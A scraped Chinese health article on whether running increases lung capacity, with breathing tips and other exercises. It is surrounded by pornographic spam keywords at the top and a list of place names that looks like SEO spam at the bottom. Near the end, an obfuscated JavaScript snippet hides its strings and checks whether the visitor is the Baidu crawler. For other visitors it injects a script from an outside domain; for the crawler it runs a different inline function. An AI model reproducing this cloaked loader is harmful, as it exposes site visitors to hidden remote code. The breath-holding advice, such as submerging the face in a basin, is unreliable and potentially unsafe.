亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 健康 > 運動健身 > 正文

跑步到底能增加肺活量嗎

2017-04-16 14:31:34  來源:360常識網(wǎng)   熱度:
導語:肺活量的情況是我們每個人都不同的情況,這和我們平時的運動有關系,有不愛進行運動的人肺活量明顯就沒有愛運動的人肺活量好,所以說在平時

肺活量的情況是我們每個人都不同的情況,這和我們平時的運動有關系,有不愛進行運動的人肺活量明顯就沒有愛運動的人肺活量好,所以說在平時的時候我們要通過運動來增加自己的肺活量,有好多的朋友想知道跑步能增加肺活量嗎?其實跑步是可以增加肺活量的,只是我們在跑步的時候也要注意方法,下面來了解一下。

第一,在剛起跑時稍微使身體預熱一下,這樣可以在跑步中避免拉傷。

第二,在起跑時就要奠定好基調(diào),勻速小跑在加速,特別注意的是在一開始就用鼻子有規(guī)律的呼吸,可以是兩步一吸,一步吐氣,這樣需要持續(xù)很長一段時間。如果跑步過程中不適應要盡量使自己忍住,這樣長期下來對肺活量的增加和提高很有幫助。

第三,在感覺已經(jīng)很吃力的情況下可以用嘴呼吸然后加速。建議可以全程是勻速跑步,這是一項簡單又實用的運動。

另外還可以做以下運動來增加肺活量:

1、憋氣。深呼吸后一直憋著,直道無法堅持。重復三次為一組,早中晚各三組。

2、游泳。最好是蛙泳或者自由泳。

3、發(fā)聲練習。例如:一個調(diào)的超長發(fā)聲?;蛘咭皇赘璧奈惨??!鞍 敝惖?。

4、早晚洗臉時把臉滲進臉盆里憋氣。硬氣功上的訓練方法。

5、憋氣運動??梢赃x擇跑步機、騎自行車、200米跑等。

通過上述的介紹,我們現(xiàn)在知道了跑步能增加肺活量,只是在跑步的時候也有注意事項,另外增加肺活量的運動方法也很多,平時的時候我們可以根據(jù)自身的情況來進行鍛煉,只要是有氧類的運動對于增加肺活量都是有一定好處的。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
津南区| 万盛区| 中超| 上蔡县| 崇文区| 平塘县| 轮台县| 平和县| 益阳市| 文山县| 城步| 辽源市| 上栗县| 舞阳县| 邹城市| 铜梁县| 云阳县| 诏安县| 清苑县| 玛多县| 独山县| 东山县| 大理市| 清苑县| 浦北县| 剑川县| 宜宾市| 昌江| 平利县| 康马县| 芮城县| 江城| 定结县| 武汉市| 临城县| 大理市| 林口县| 淮南市| 和政县| 孟津县| 武清区|